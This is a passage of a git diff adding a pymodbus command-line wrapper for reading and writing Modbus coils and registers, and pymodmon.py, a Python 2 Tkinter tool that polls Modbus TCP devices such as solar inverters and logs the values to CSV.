['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = 